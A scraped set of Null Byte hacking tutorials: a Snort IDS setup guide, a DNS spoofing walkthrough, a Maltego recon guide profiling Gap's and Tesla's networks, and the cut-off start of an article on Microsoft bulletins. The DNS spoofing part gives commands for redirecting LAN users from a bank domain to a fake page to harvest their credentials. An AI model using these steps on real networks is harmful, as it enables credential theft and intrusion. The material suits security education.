ToolsHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Hunt Down Social Media Accounts by Usernames with SherlockVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Find OSINT Data on License Plate Numbers with SkiptracerHow To:Advanced Penetration Testing - Part 1 (Introduction)How To:Mine Twitter for Targeted Information with TwintHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Spy on SSH Sessions with SSHPry2.0How To:Find Passwords in Exposed Log Files with Google DorksHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHow To:Extract Bitcoin Wallet Addresses & Balances from Websites with SpiderFoot CLIHow To:Use Google Search Operators to Find Elusive InformationHow To:Scrape Target Email Addresses with TheHarvesterHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Enter the Multiverse and play Magic: The GatheringHow To:Catch an Internet Catfish with Grabify Tracking LinksMac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Install Gitrob on Kali Linux to Mine GitHub for CredentialsNews:Gathering Data for Fun and ProfitNews:Laying the Foundation pt.2Card Hunter:A Boring Title Conceals a Game Design Dream TeamNews:New Variant of Zeus Trojan Loses Reliance On C&C ServerNews:Check out this awesome gathering hall by User Andrewed.How To:build pizza ovenNews:Twist and Shout Balloon Convention with Mr. FudgeNews:Achieve Results YouTube ChannelNews:Star Craft 2 EfficiencyNews:Navigating the sugar (and white flour) festsHow To:Make Your Own DIY Photobooth Propsa closer look at keywords:witherNews:The Root Beer Hack Circle Caper |
Hack Like a Pro: Snort IDS for the Aspiring Hacker, Part 2 (Setting Up the Basic Configuration) « Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!As you shouldknow from before, Snort is the most widely deployed intrusion detection system (IDS) in the world, and every hacker and IT security professional should be familiar with it. Hackers need to understand it for evasion, and IT security professionals to prevent intrusions. So a basic understanding of this ubiquitous IDS is crucial.In myprevious tutorialinthis series, I showed you how to install Snort either by using the packages stored in the Ubuntu repository or from the source code directly fromSnort's website.Now, I will show you the basic configuration so you can get started Snorting right away. In later tutorials, we will tweak the configuration to optimize its performance, send its output to a database, and analyze the output through a GUI interface.Step 1: Get Snort HelpBefore we configure Snort, let's take a look at its help file. Like withmost commands and applications in Linux, we can bring up the help file by typing the command or application's name followed by either-?or--help.kali > snort --helpAs you can see in the screenshot above, I have circled several key switches.The first is-c, along with the location of theSnort rulesfile, tells Snort to use its rules. Rules in Snort are like virus signatures; they are designed to detect malicious packets and software.The second is-d, which tells Snort to show the application layer of data.The third is-e, which tells Snort to display the second layer information, or theData-Link Layer, which contains the MAC address.If we scroll down a bit, we can see even more switches.The-iswitch allows us to designate the interface that we want to use. Snort defaults to using the eth0 interface, so we only need to use this if we want to use a different one, such as wlan0.The-lswitch will tell Snort where to log the data. As we will see, depending upon the configuration, Snort logs to/var/log/snortby default, but we can designate a different location here by placing the path after the-lswitch.The-vswitch tells Snort to be verbose, i.e., wordy, to provide us with all its information.Step 2: Start SnortNow that we know the basics of some of its switches, let's try running Snort; It can be run as a sniffer, packet logger, or NIDS (network intrusion detection system). Here, we'll just take a look at the sniffer (packet dump) and NIDS modes.To run Snort in packet dump mode, type:kali > snort -vdeTo run Snort as an NIDS, we need to tell Snort to include the configuration file and rules. In most installations, the configuration file will be at/etc/snort/snort.conf, and that file will point to the Snort rules. We need to the-cswitch and then the location of the configuration file.kali > snort -vde -c /etc/snort/snort.confStep 3: Open the Config FileLike nearly every Linux application, Snort is configured using a configuration file that is a simple text file. Change the text in this file, save it, restart the application, and you have a new configuration.Let's open the Snort configuration file with any text editor; I will be using Leafpad. Again, the configuration file is located at/etc/snort/snort.conf.kali > leafpad /etc/snort/snort.confWhen thesnort.confopens in your text editor, it should look like the screenshot above. Note that many of the lines are simply comments beginning with the#character. If we scroll down to lines 25-37, we can see in the comments that the configuration file has nine sections.Set the network variablesConfigure the decoderConfigure the base detection engineConfigure dynamic loaded librariesConfigure preprocessorsConfigure output pluginsCustomize your rule setCustomize preprocessor and decoder rule setCustomize shared object rule setIn this basic configuration, we will only address steps 1, 6, and 7 in that list (bolded above). With just these three, we can get Snort running effectively in most circumstances. As we get to more advanced configurations, we will address the others.Step 4: Set the VariablesOn line 45 above, we can see "ipvar HOME_NET any." This sets the IP addresses of your network to be protected. The HOME_NET is the variable that you assign IP addresses to, and it can be a single IP, a list of IPs separated by commas, a subnet in CIDR notation, or simply left asany.The best practive here is to set the HOME_NET to the subnet you are protecting in CIDR notation, such as:ipvar HOME_NET 192.168.181.0/24Step 5: Check the OutputIf we scroll down to lines 464-485, we can see the output plugins section. Here is where we tell Snort where and how to send us logs and alerts. By default, line 471 is commented out and 481 is active.In this default configuration, Snort sends logs in tcpdump format to the/var/log/snortdirectory. Line 471 enables what Snort calls unified logging. This type of logging logs both the complete packet and the alerts. For now, let's uncomment this type of output (unified2) and comment out line 481. Eventually, we will configure the output to go to a database of our choice (MS SQL, MySQL, Oracle, etc.).Step 6: Disable RulesMany times, to get Snort to run properly, we need to adjust the rules that it relies upon. Sometimes a rule or rule set will throw errors, so we need to comment out a rule or rule set temporarily. If we scroll down to line 504, this begins the "Customize your rule set" step of the configuration file.Notice line 511 for local rules. These are rules that we can add to Snort's rule set in our customized configuration.To keep Snort from using a rule set, simply comment out the "include" part. Notice that there are many legacy rule sets that are commented out, but can become active simply by removing the#before them.When we are done making our changes to the configuration file, we simply save the text file.Step 7: Test the ConfigurtaionBefore we put Snort into production, let's test our new configuration. We can use the-Tswitch followed by the configuration file to test our Snort configuration.kali > snort -T -c /etc/snort/snort.confNote that Snort has started in Test mode.As we can see, Snort tested our configuration and validated it. We can now go into production!Now you have a Snort application that is ready for intrusion detection. We still need to configure Snort to automatically update its rule set each day, send its output to a database of our choice, write our own rules, and then analyze the output through a GUI. So keep coming back, my tenderfoot hackers.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Evade a Network Intrusion Detection System (NIDS) Using SnortHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 1 (Installing Snort)Hack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHow To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:An Introduction to Regular Expressions (Regex)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:How to Compile a New Hacking Tool in KaliHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)Hack Like a Pro:An Introduction to Regular Expressions, Part 2Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Read & Write Snort Rules to Evade an NIDS (Network Intrusion Detection System)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Goodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingIPsec Tools of the Trade:Don't Bring a Knife to a GunfightCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingWeekend Homework:How to Become a Null Byte Contributor (3/16/2012)Community Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:Hack Wireless Router Passwords & Networks Using HydraGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking Simulations |
Hack Like a Pro: How to Spoof DNS on a LAN to Redirect Traffic to Your Fake Website « Null Byte :: WonderHowTo | Welcome back, my novice hackers!There are SOOOO many ways to hack a system or network, which meansyou need to think creativelyin order to be successful.Many novice hackers focus way too much energy oncracking passwords(which should be a last resort unless you have specialized tools or a 10,000 machine botnet) or exploiting avulnerabilityin an operating system (increasingly rare). With all the protocols that computer systems use (DNS, SMTP, SMB, SNMP, LDAP, DHCP, etc), there is bound to be a vulnerability in one that we can exploit to get what we're after.DNS Spoofing: Redirecting Users to Your WebsiteIn this hack, we will be exploiting theDomain Name Service(DNS). As you know, DNS is used for domain name resolution or converting a domain name such aswonderhowto.comto an IP address, 8.26.65.101. If we can mess with this protocol, we could very well send some one looking for a domain name such asbankofamerica.comto our malicious website and harvest their credentials.Dug Song of the University of Michigan developed a suite of hacking tools that are excellent for this purpose. We have already used one of his tools,arpspoof, for doing aman-in-the-middle attack. In this attack, we will be using hisdnsspooftool, which will enable us to spoof DNS services on a local area network.Remember, even though this hack requires that you be on the same LAN, you could get access to the LAN through a remote vulnerability or a weak password on just ONE machine on the network. In institutions with thousands of computers on their network, that means you must find a single machine that is exploitable to be able implement this attack for the entire network.Step 1: Fire Up KaliLet's get started by firing upKaliand going to Applications -> Kali Linux -> Sniffing -> Network Sniffers, and finally,dnsspoof, as seen in the screenshot below.Step 2: Open DnsspoofWhen you click on dnsspoof, the following terminal opens. Notice how simple the syntax is.dnsspoof -i <interface> -f <hostsfile>Step 3: Set Up for SniffingWe will trying to get a Windows 7 system on our network to redirect itsbankofamerica.comnavigation to our own website. Let's use Google Chrome, or any browser, to navigate there.Step 4: Flush the DNS CacheFirst, we need to flush the DNS cache of the Windows 7 system. In this way, the Windows client won't use the cached DNS on the system and will instead use our "updated" DNS service. In reality, this step is not necessary, but for our demonstration it speeds things up.First, close the browser and type:ipconfig /flushdnsNow we need to set our network card on our Kali server to promiscuous mode (she, your network card, will accept anyone's packets).ifconfig eth0 promiscNow we need to kill the connection between the Windows 7 system and [www.bankofamerica.com]. This forces the Windows 7 machine user to re-authenticate.tcpkill -9 host [www.bankamerica.com]After killing www.bankofamerica.com, stop the tcpkill with a ctrl c.Step 5: Create Hosts FileIn myLinux tutorial on client DNS, I showed you how the hosts file in Linux acts like a static DNS. Here we will be using the hosts file to redirect that Windows 7 system's search for Bank of America to our website. Let's go to the/usr/localdirectory.cd /usr/localFrom there, let's open the hosts file in any text editor. Kali doesn't have kwrite that we had been using in BackTrack, but it does have a graphical VIM, or gvim, so let's use that.gvim hostsNow that we have the hosts file open, we need to add the following line to it. Remember, the hosts file is simply mapping an IP address to a domain name, so we put our IP address in and map it to [www.bankofamerica.com].192.168.1.101www.bankofamerica.comIt's important here to use the TAB key between the IP address and the domain. Spaces will be interpreted by the system to be part of the domain name.Step 6: Create a New BOA WebpageBefore we go any further, we now need to turn off promiscuous mode on our network card (she decided to commit to you and only you).ifconfig eth0 -promiscNow we need to create a website that the user will be directed to when they typebankofamerica.comin the URL of their browser. Let's create a simple webpage. If you want more info on how to create a simple webpage and host it in Linux, check out myLinux guide on Apache web servers.Now open theindex.html.gvim /var/www/index.htmlThis is what it looks like by default. We want to change it and put in the following html and save it.<html><body> <h1>This is the Fake Bank of America Web Site! </h1></body></html)>Of course, if you really wanted to pull off this hack, you would want to take the time to build a website that looks and acts just like the site you're spoofing, but that is another tutorial entirely.Step 7: Start a the Apache Web ServerNow, start the web server built into Kali. This is Apache and the service is HTTP, so we go to Kali Linux -> System Services -> HTTP, and finally,apache2 start. This will start our web server on our Kali system hosting the fake Bank of America website.Step 8: Start DnsspoofIn our last step, we need to start dnsspoof and direct users to the entries in our "hosts" file first. Dnsspoof will intercept DNS queries and send them first to our hosts file before then sending them along to the DNS server. In this way, if we have any entry in our hosts file that the client is looking for, it will directed as specified by our hosts file.Remember, we mappedbankofamerica.comto our IP address so that they will go to OUR web server and see OUR website.dnsspoof -f hostsStep 9: Navigate to BOA from Windows 7Now, from the Windows 7 system, type in the URLbankofamerica.comand it will pull up our fake website vs. the real Bank of America site.Now, when anyone on the local area network attempts to navigate to the Bank of America website, they will instead come to our website!As you can imagine, with dnsspoof in place, we can wreak all kinds of havoc on a LAN!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseURL boximage via ShutterstockRelatedHow To:Hack LAN passwords with EttercapTutorial:DNS SpoofingHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)Networking Foundations:Exploring UDP via Wireshark(Part 2)Hacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:Steal Form Data from Your Fake WebsiteHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHow To:Fake Captive Portal with an Android PhoneHow To:Use the hosts file in Windows XPNews:Hak5 Just Released the Packet SquirrelHow To:Set Up an EviltwinThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesHow To:Secure Your Computer with Norton DNSHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Cheat Engine for FarmVille - The Definitive GuideNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsHow To:How Hackers Steal Your Internet & How to Defend Against It |
How to Use Maltego to Fingerprint an Entire Network Using Only a Domain Name « Null Byte :: WonderHowTo | Hackers rely on good data to be able to pull off an attack, andreconnaissanceis the stage of the hack in which they must learn as much as they can to devise a plan of action. Technical details are a critical component of this picture, and withOSINTtools like Maltego, a single domain name is everything you need to fingerprint the tech details of an organization from IP address to AS number.While Maltego is excellent for examining people, it shines when you're researching hard details about an organization's technical setup.Technical research is different from interpersonal research in that, in many cases, the information is readily available with minimal interaction needed from the researcher.Technical Data TargetsWhen conducting technical recon, tools like Maltego make the research a matter of clicks to find hard details about your target. Starting from the web domain, links to other websites or technologies become apparent. While some of the information may seem like magic to discover to the average user, OSINT research can stitch these far-flung technical details into a rich contextual map of how the target network is structured and how it interacts with the world around it.For a quick overview, you can click the “play” button in Maltego to run all transforms on the domain, producing a lot of leads to expand on.The details we're looking for when profiling an organization's network are anything that gives us more context and information for follow-up exploitation. This can mean anything from an IP address to the MX server a company is using. So why is this important? The more we know about the target, the more targets we can train various cyber-weapons on in the next phase of our plan.Also, merely knowing details like the MX server allows us to know which email provider a company uses, giving a hacker an advantage in a phishing attack. Any of these details can be useful depending on your objective and what you plan to do with the information, so let's outline the chain we'll be creating to understand our target's network infrastructure better.Don't Miss:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesAttributable Network ChainThe chain of network details we will build all starts from the domain name and proceeds in an ordered sequence to derive more abstract information that can show other assets under control of the target. In addition to giving us what we need to expand our investigation, we can start to tie our mark to third-party services they use. This allows a hacker to learn what they do in-house and what they outsource, providing context for other more specific tactics.To extract the most information possible about the network details of a targeted domain, we will need to include a “skeleton” of hard details we can associate with the target. This tells us more about our attack surface, and will allow us to expand on these hard facts to build an expanded picture of the organization.Starting with the target domain, we can locate the website hosted on port 80 and find any other sites using the same tracking code to discover web real estate owned by the same organization. Next, we can see the MX (mail exchanger) and NS (name server) associated with the domain, revealing the email address and hosting services the organization utilizes. From here, we can locate the DNS server that points to the website in question, revealing any other domains that use the same DNS server. This shows us other sites the same organization may own or operate or other domains hosted by the provider that they outsource web hosting to.Don't Miss:How to Research a Person or Organization Using the Operative FrameworkLarger organizations may have a netblock assigned to the various webpages and services they offer online, which is a range of IP addresses all dedicated to the same organization. Further up, the AS number (autonomous system number) can be discovered, which is a collection of netblocks all operating with the same external routing policies. This usually belongs to the internet service provider or a larger company and can be used to find other netblocks owned by the same business.Down the Chain & Back Up AgainEstablishing the chain from domain to AS number is helpful for keeping our investigation organized by giving us a "spine" to build out our reconnaissance data from. When we're all the way to the AS number, we can start to look back up the chain and begin to expand on what we initially found. This means starting with the AS number, identifying more netblocks in the AS, finding IP addresses in the netblock, and mining those IP addresses for connected websites or services online.What You'll NeedThecommunity edition of Maltegois free, and it's also installed by default onKali Linux. If you already have Kali Linux, you can check it out immediately, or you can download it on Kali by typingapt-getinstall Maltegointo the terminal window. You can alsodownload it for any operating systemfrom the website, and after the free registration process, you can run it on whatever computer you have handy, provided you have Java installed.Don't Miss:How to Run Kali Linux as a Windows SubsystemStep 1: Selecting the Target & Identifying the WebsiteIn this example, we'll use the Gap website, which is, from a quick Google search, located at the domain gap.com. Start Maltego and wait for the main window to open, then click the logo icon in the top-left corner, and select "New."This will open a blank canvas and allow us to add our first entity. To do this, we can refer to theEntity Paletteon the left side, and type "domain" into the search bar to bring up the domain entity. Once we see the icon, we can drag and drop it onto the canvas to begin the investigation.Once the icon is on the canvas, double-click the text portion of the icon to type the domain name of your target. In this case, we'll put "gap.com" to begin our survey of Gap's network.Step 2: Finding More Sites with Tracking CodesThe first layer of tracking we'll explore is the tracking codes an organization uses to provide analytics for its web domains. Frequently, we'll be able to tie together disparate domains by virtue of the fact that they share a common tracking code. The tracking codes can vary from Google Analytics codes toAmazon Affiliatescodes and can be used to identify anything an organization wishes to monetize or track.To find the tracking codes associated with a website, we need first to convert it into a web domain. We can do this by right-clicking the domain entity and typing "website" in the search bar to show all domains that reference resolving a website. You can run any of the three, but a simple "Quick Lookup" should do just fine. This should resolve our domain to a website, and from here, we can right-click and type "To Tracking Codes" to run the tracking code transform.Don't Miss:Scrape Target Email Addresses with TheHarvesterWhile our Gap example didn't return any results, running it against Tesla's site (tesla.com) does. Below, we see the result of the transform, showing two other associated domains. To reveal these domains from the tracking code we found, we can right-click the tracking code, then click "To Other Sites With Same Code" to search for other websites which have the same tracking code.These links can be invaluable for finding other domains owned by the same party, in some cases, domains which may not be officially acknowledged. This allows an attacker to begin discovering linked parts of an organization by ironically tracking the way these organizations track users and the fact that most organizations will use a single tracking code to make analytics across an organization more easy to understand.Step 3: Revealing Name & MX ServersThe NS and MX server of a domain can begin pointing us to information about what mail service an organization uses, as well as where their services are hosted. Some organizations will host these servers in-house, but the majority don't bother to do so and use a third-party service. For a hacker, this information is useful because it can reveal valuable pretexts like calling the business from the specific service provider they use for internet or web hosting.Finding this information is straightforward. To begin, right click on the domain entity we created earlier, and type "mx" into the search bar to reveal the transforms that will resolve the MX server. Click on this to show the MX information, which will often reveal which provider the organization uses.To reveal the NS records of the website, we can right-click the domain and type "ns" to reveal transforms that deal with name servers. From here, select "To DNS Name – NS (name server)" to get the name server information. This can reveal information about whether the organization uses a third-party service to host their domain.Step 4: Discovering DNS ServersTo learn about the DNS servers an organization uses (including the previously mentioned MX and NS), we can take advantage of a cluster of transforms designed to accomplish this. This transform set will run ten different transforms, all pulling in more information about the DNS details of the domain. Below, you can see the specific transforms that are run in the set.To run the entire set, right-click on the domain entity we added before, and then select "PATERVA CTAS" to show the different groups of transforms. You can select the "Run All" icon next to the "DNS from Domain" transform set to run all of the transforms contained within.Once these transforms are complete, the results can be quite dramatic. Below you can see the outcome of this domain set on a single domain, gap.com. With these pulls, we found 183 DNS records alone, with additional NS and MX records displayed as well. We can also see other websites which are associated with the domain.Once we have all the DNS addresses we can gather, we can move to the next step of discovering IP addresses associated with the target.Step 5: Figuring Out the IP AddressesNow that we have a range of DNS entries, we can resolve these to the IP addresses they point to in order to learn more about the services the organization uses. Many larger organizations will host their own services, and this is an opportunity during recon where we can start to probe and find which parts are hosted internally versus externally.We can do this by selecting the DNS records we've located, then right-clicking them to reveal the "Resolve to IP" transform set. It only contains one transform, so we can select "run all" to associate all of the DNS entries we've found with IP addresses. This provides a wealth of information on more extensive networks, revealing interconnected infrastructureStep 6: Finding IP NetblocksNetblocks are large blocks of IP addresses which are typically assigned to a single entity. If we can identify a netblock that belongs to our target organization, we can scan all the IP addresses inside the range to find services we haven't previously discovered.Don't Miss:How to Use Maltego to Research & Mine Data Like an AnalystTo discover netblocks the target organization may own, you can select a previously discovered IP address, and right-click on it to select one of the three Maltego transforms for finding netblocks by typing "netblocks" into the search bar. You can use the "To Netblocks [Using routing info]," which finds the netblock that an IP address belongs to by looking up the IP's routing table information.When we've located a netblock, we can expand our search by finding other DNS names within the netblock. This is quickly done by right-clicking on the netblock entity and then selecting the "To DNS Names in netblock" transform.This should return a list of DNS names, which will point to various services belonging to the owner of the netblock. You can tell if a company is using shared hosting or some other type of shared setup if the DNS entities found from the netblock range belong to other organizations.Step 7: Identifying the AS NumberOnce we've identified a netblock belonging to our target organization, we can proceed to our final layer, which is identifying the AS number. An AS number is used by large organizations like internet service providers or major corporations to identify ranges of netblocks with similar routing protocols.If we can identify an AS number belonging to our target, we can find all the netblocks in it knowing that they belong to our target too. Then, we can discover all the DNS names in each of those netblocks, allowing us to resolve those DNS names to IP addresses of other services belonging to the target.Right-click on the netblock identified as belonging to the target, and click on "To AS number" to show the AS number associated with the netblock.Next, you can reveal the owner of the AS number by right-clicking the AS number and selecting "To Company" to get the name of the organization that owns the AS number. This may be the internet service provider the company uses or, in large organizations, the company itself.In our example, we took a netblock found from a DNS name at gap.com and identified that it belonged to AS number 40526. We can see from selecting the company owner information that this AS number is registered to Gap, Inc., so we can assume any netblocks inside it, and any IP addresses within those ranges, are also owned by our target and not a third party.Step 8: Backing Up the ChainTo take advantage of what we've found in Maltego, we can go back up the chain to enrich the data we discover. Once we reach the AS number, we can find all of the netblocks in the AS number to reveal DNS names and IP addresses inside those ranges. Going further up the chain, we can take the IP addresses and resolve them to web domains, allowing us to start all the way back at the top again with a fresh set of targets.Don't Miss:How to Use SpiderFoot for OSINT GatheringThe purpose of this process is to follow a cycle, following targets from the top to the bottom of the chain while adding new DNS names, IP addresses, netblocks, AS numbers, web domains, and websites as you discover them. After a few rounds of discovery, your results can get pretty crowded, and you may have a hard time being able to see relationships within the data. Below, you can see the result of tracing our DNS servers down to the netblock level, and already things look confusing.This standard view isn't beneficial from far out, so we can do a few things with the data to show relationships more obvious. First, we can change the view to something more compact by selecting the "Organic" view from the pane on the upper left side. This will arrange the graph in a way that saves space and shows relationships visually by spacing entities that are strongly related closer together.This view should be more compact, but we can make relationships even more apparent by selecting the downward arrow in the "Manage View" icon in the top left. This allows us to change the view to "Ball Size by Diverse Descent."According to Maltego, "With diverse decent, entities are sized according to the number of incoming links the entity has. However, incoming links with different grandparent entities are weighted higher." This is explained in the image below from the Maltego user guide.With diverse descent, entities with different grandparents are weighted higher.Image viaPatervaOnce this has been applied to our graph in organic view, it suddenly becomes much more obvious when an entity is heavily linked to and is likely to be something of interest. Now, we can focus our attention on the larger entities and explore the connections between them.Setting the Stage for Automated AttacksThrough conducting network fingerprinting with Maltego, an attacker can learn in minutes intimate details about the network of a target. Everything from the email service and hosting provider to a complete list of all IP addresses assigned to the company's AS number can be found quickly and easily with a few clicks. With this information, a hacker can switch to active methods of recon, loading the discovered IP addresses into automated vulnerability scanners to discover, and exploit any susceptible devices.Hackers know that by building a map of the technical details, attacking a network becomes as simple as identifying the weakest link and exploiting it. Knowing where to start an attack is nearly impossible without recon, and Maltego can allow anyone to pull together the information needed to choose the most efficient target, rather than grasping around in the dark.I hope you enjoyed this guide to OSINT network fingerprinting using Maltego! If you have any questions about this tutorial or using Maltego for OSINT research, feel free to leave a comment or reach me on Twitter@KodyKinzie.Don't Miss:Use Facial Recognition to Conduct OSINT Analysis on Individuals & CompaniesFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null Byte (unless otherwise noted)RelatedHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Use Maltego to Monitor Twitter for Disinformation CampaignsHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2How To:Scrape Target Email Addresses with TheHarvesterRecon:How to Research a Person or Organization Using the Operative FrameworkHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)How To:Use All 10 Fingerprints for Touch ID on Your iPhone — Not Just 5 of ThemHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Easily Generate Hundreds of Phishing DomainsHow To:Use Your Fingerprint Scanner to Do Almost Anything with TaskerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Use Your Phone's Fingerprint Scanner to Unlock Your Windows PCNews:Your Smartphone's Fingerprint Scanner Can Easily Be 'Hacked' with a PrinterHow To:Make the Fingerprint Scanner Work Faster on Your Galaxy DeviceHow To:Secure Any Android App with Your FingerprintHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Lock Any App with Fingerprint Security on Your Galaxy S5How To:Register a Domain Name with NameCheapNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)Android Basics:How to Unlock Your Phone with Your FingerprintHack Like a Pro:How to Spoof DNS on a LAN to Redirect Traffic to Your Fake WebsiteHow To:Turn Off Your Android's Screen with Your Fingerprint ScannerHow To:Scan for Vulnerabilities on Any Website Using NiktoAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterNews:Researchers Find 'MasterPrints' That Can Bypass Your Phone's Fingerprint ScannerHow To:Fingerprint-Lock Apps on Android Without a Fingerprint ScannerHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsCanvas Fingerprinting:How to Stop the Web's Sneakiest Tracking Tool in Your BrowserHow To:Get the Pixel's Fingerprint Swipe Notification Gesture on Other DevicesHow To:Lock Any App with a Fingerprint on Android MarshmallowHow To:Unlock Your Fingerprint-Protected Galaxy S5 Using Only One HandHow To:Improve Fingerprint Scanner Accuracy on Your LG V30How To:Lock Magisk Superuser Requests with Your FingerprintNews:Fingerprint LibraryHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHow To:Assign a Static IP Address in Windows 7News:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden Services |
Hack Like a Pro: How to Find the Latest Exploits and Vulnerabilities—Directly from Microsoft « Null Byte :: WonderHowTo | Welcome back, my rookie hackers!Several of you have written me asking about where they can find the latest hacks, exploits, and vulnerabilities. In response, I offer you this first in a series of tutorials on finding hacks, exploits, and vulnerabilities. First up: Microsoft Security Bulletins.Step 1: Navigate to Microsoft's TechnetAs well over 90% of all computers on the planet run a version Microsoft's ubiquitous Windows operating system (although it might surprise you that over 60% of all web servers run some version of Linux/Unix), Microsoft's vulnerabilities obviously are highly valued to the hacker.Thankfully, Microsoft offers us database of all the vulnerabilities they want to acknowledge, and this can be found at theirMicrosoft Security Bulletinswebpage.Here, Microsoft lays out all the details of the vulnerabilities that they are aware of in their operating system and application software. It goes without saying—I think—that zero day vulnerabilities and vulnerabilities that Microsoft doesn't want to acknowledge yet, won't be found here. These vulnerabilities are only those that Microsoft is aware of and has a patch developed for.So, what good is it to the hacker to be aware of vulnerabilities that Microsoft has patched, you might ask (you did ask that, right?). The answer is that not everyone patches.Some users and companies refuse to patch because of the production risks involved and others only patch intermittently. If you check outNetcraftand look up a particular website, it will tell you how long since that website has been re-booted. Generally, a re-boot is necessary to patch a system. If the system has not been re-booted for, say 2 years, we know that all the vulnerabilities listed in Microsoft's security bulletin are available on that system. When that's the case, you can simply find a vulnerability that has been found within that last two years and then exploit it on that system.There is also the issue of pirated software. A significant fraction of the world's operating systems and applications are pirated (I'm sure you know at least one person was has pirated software, right?). It is estimated that a majority of the software in China and other developing nations is pirated. This means that these systems will NOT get the latest patches and are vulnerable to the listed 